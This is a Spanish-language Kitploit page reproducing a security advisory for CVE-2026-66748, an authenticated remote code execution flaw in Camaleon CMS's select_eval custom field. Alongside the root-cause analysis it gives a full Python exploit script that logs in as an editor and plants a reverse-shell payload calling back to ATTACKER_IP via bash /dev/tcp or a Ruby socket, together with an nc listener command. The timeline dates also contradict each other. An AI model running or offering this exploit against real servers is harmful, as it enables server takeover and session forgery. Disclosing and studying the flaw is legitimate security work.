Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/theopaid/cve-2026-66748-camaleon-cms---authenticated-rce-via-select_eval-custom-field
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónPapers e InvestigaciónDesarrollo de Payloads
GitHub
theopaid/cve-2026-66748-camaleon-cms---authenticated-rce-via-select_eval-custom-field

CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field

Aviso de Seguridad: Camaleon CMS - RCE Autenticado mediante el Campo Personalizado `select_eval`

Ver Repositorio
131hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
# Aviso de seguridad: Camaleon CMS - RCE autenticado mediante el campo personalizado `select_eval`

**ID de CVE asignado:** CVE-2026-66748

**Producto:** Camaleon CMS (https://github.com/owen2345/camaleon-cms)
**Versiones afectadas:** 2.1.1 – 2.9.1 (introducido en el commit 415cbda6 2015-10-16; corregido en el commit 15882366 2026-03-29 / v2.9.2)
**Gravedad:** Alta
**Puntuación CVSS 4.0:** 8.7
**Vector CVSS 4.0:** CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
**CWE:** CWE-94 (Inyección de código)
**Investigador:** Theodosis Paidakis
**Proveedor notificado:** 2026-06-21
**Aviso relacionado:** GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 (`label_eval` - tipo de campo paralelo, misma causa raíz, sin CVE asignado)

## Resumen

El tipo de campo personalizado `select_eval` almacena una expresión Ruby arbitraria en `field.options[:command]` y la ejecuta mediante `instance_eval` en una vista ERB cada vez que se renderiza una página de edición de publicaciones. Antes de la v2.9.2, cualquier usuario con el permiso de gestión `custom_fields` - concedido habitualmente a cuentas con rol de editor - podía crear este tipo de campo y lograr un RCE en el servidor. Un campo `select_eval` se activa en cada renderizado de página de cualquier publicación que use el grupo de campos; su salida se convierte en la lista de opciones del desplegable. La vulnerabilidad fue parcheada en la v2.9.2.

## Componente afectado

**Archivo:** `app/views/camaleon_cms/admin/settings/custom_fields/fields/_select_eval.html.erb`

```erb
<%= select_tag "#{field_name}[#{field.slug}][values][]",
      instance_eval(field.options[:command].to_s.strip),
      class: "..." %>
```

Se llama a `instance_eval` con la cadena sin procesar del registro de la base de datos. No hay sandboxing ni restricción en tiempo de compilación sobre qué métodos o constantes son accesibles desde el binding ERB (que es un contexto completo de vista de Rails).

**Archivo:** `app/models/camaleon_cms/ability.rb` (v2.9.1, líneas 161-165)

`custom_fields` nunca se concede explícitamente. Ocho recursos obtienen `can :manage` individualmente más arriba en el archivo (`media`, `comments`, `themes`, `widgets`, `nav_menu`, `plugins`, `users`, `settings`), y `custom_fields` no es uno de ellos. Solo es alcanzable a través de esta cláusula catch-all, que otorga `manage` a cualquier clave presente en el hash `@roles_manager` del rol sin comprobar si esa clave es segura de conceder:

```ruby
@roles_manager.try(:each) do |rol_manage_key, val_role|
  can :manage, rol_manage_key.to_sym if val_role.to_s.cama_true?
rescue StandardError
  false
end
```

Por lo tanto, cualquier usuario cuyo rol tenga el bit `custom_fields` activado llega al controlador de campos personalizados. En el rango afectado, ese bit se concede habitualmente a roles de nivel editor.

La reescritura de la v2.9.2 sustituye `can` por un envoltorio `safe_can` y añade una lista explícita `%i[...]` que contiene tanto `custom_fields` como `select_eval`, pero el bucle catch-all anterior sigue existiendo en esa versión. La lista de permisos no es lo que corrige este problema; lo son la lista blanca de strong-parameters en `custom_fields_controller.rb` y el control `can?(:manage, :select_eval)` en `custom_field_group.rb`.

## Análisis de la causa raíz

El tipo de campo `select_eval` fue diseñado para permitir a los desarrolladores rellenar dinámicamente los desplegables de selección a partir de código Ruby almacenado en la base de datos del CMS. Ejecutar Ruby arbitrario desde una columna de la base de datos mediante `instance_eval` equivale a conceder acceso a shell a cualquiera que pueda escribir ese valor. El requisito de permiso era `custom_fields`, un permiso rutinario de gestión de contenido, en lugar de un bit privilegiado explícito.

## Relación con avisos anteriores

Este hallazgo fue publicado como GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9, que cubre un tipo de campo `label_eval` paralelo en Camaleon CMS. Ese aviso formaba parte de un lote de cinco hallazgos (GHSL-2024-182 a GHSL-2024-186); solo dos de los cinco recibieron números CVE (CVE-2024-46986 y CVE-2024-46987). El propio GHSL-2024-185 no tiene CVE asignado.

`select_eval` y `label_eval` comparten la misma causa raíz - Ruby arbitrario almacenado en la base de datos y ejecutado mediante `instance_eval` en una vista ERB - pero son distintos en todas las demás dimensiones:

|                | `label_eval` (GHSL-2024-185) | `select_eval` (este informe)       |
| -------------- | ---------------------------- | ---------------------------------- |
| Lugar de ejecución | Etiqueta del campo en cualquier formulario | `select_tag` en la página de edición de publicaciones |
| Ruta de escritura | Texto de la etiqueta del campo personalizado | Fila meta de `field.options[:command]` |

Este informe cubre `select_eval` exclusivamente. Ningún CVE existente ni aviso público documenta este tipo de campo específico y su vía de explotación.

## Pasos para reproducir

El rango afectado, de la v2.1.1 a la v2.9.1, se determinó mediante análisis del código fuente; la explotación se confirmó de extremo a extremo en la v2.9.1. Solo requiere una cuenta con permiso `custom_fields` - sin acceso al servidor.

**Requisitos previos:** Cualquier cuenta con el bit de gestión `custom_fields` activado - un permiso estándar de rol de editor en el rango afectado.

**Paso 1.** Inicie un listener:

```bash
nc -lnvp 4444
```

**Paso 2.** Ejecute el script. Edite `BASE`, `ATTACKER_IP`, `TYPE_ID`, `POST_ID` y las credenciales.

`TYPE_ID` - ID del tipo de publicación visible en la URL de la barra lateral de administración (p. ej. `/admin/post_type/2/posts`).
`POST_ID` - cualquier ID de publicación bajo ese tipo, desde los enlaces de edición de la lista de publicaciones.

```python
import requests, re, time

BASE        = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT        = 4444
TYPE_ID     = 2    # post type ID - from admin sidebar URL
POST_ID     = 1    # any post under that type - from post list edit links
USERNAME    = "editor"       # any account with custom_fields manage permission
PASSWORD    = "Editor1234!"

# Reverse shell. Thread.new keeps the page render from hanging.
# Payload strings must use double quotes so #{ } interpolation executes inside instance_eval.
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# No-bash alternative (pure Ruby sockets, cross-platform):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}' 
# Proof-of-concept (non-destructive - id/hostname appear in select dropdown on the edit page):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'

s = requests.Session()

r    = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
    "authenticity_token": csrf,
    "user[username]": USERNAME,
    "user[password]": PASSWORD,
})
r    = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)

idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
    "authenticity_token":               csrf,
    "custom_field_group[name]":         f"exploit_{idx}",
    "custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}",  # must be PostType_Post, not PostType
    f"fields[{idx}][name]":             "Shell",
    f"fields[{idx}][slug]":             f"rce_{idx}",
    f"field_options[{idx}][field_key]": "select_eval",
    f"field_options[{idx}][command]":   PAYLOAD,   # permit! passes this through unfiltered pre-v2.9.2
}, allow_redirects=True)

gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")

# Trigger: instance_eval fires when the edit form renders the select_eval field
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - check listener")
```

<img width="2226" height="592" alt="imagen" src="https://assets.kitploit.com/production/public/readmes/45404/aa9bbcb4c28536ceec9b33ecb971e6f0db1bda9b34b5f6404fc745d4af053f4a.png" />

## Impacto

Cualquier cuenta con permiso `custom_fields` (anterior a la v2.9.2) obtiene:

- **Ejecución arbitraria de Ruby** en el proceso de Rails, con los privilegios del usuario del servidor web (`deploy`, `www-data`, `rails`, etc.)
- **Ejecución persistente**: el payload se activa en cada renderizado de página de cada publicación que use el grupo de campos - no es un exploit de un solo uso
- **Falsificación de sesión**: leer `secret_key_base` desde `config/secrets.yml` permite falsificar cookies de sesión arbitrarias para cualquier usuario, incluidos los administradores
- **Impacto multi-sitio**: en una instancia compartida de Camaleon, el proceso de Rails tiene acceso a los datos de todos los sitios

Antes de la v2.9.2, el permiso `custom_fields` se concedía habitualmente a usuarios con rol de editor. Un atacante que comprometa cualquier cuenta de nivel editor logra un RCE completo en el servidor.

## Cronología

**2026-06-19** - Descubierto durante el análisis del código fuente de la v2.9.2 y la v2.9.1
**2026-06-21** - Proveedor notificado
**2026-03-29** - Parche ya publicado (v2.9.2, commit 15882366)
Descargar herramienta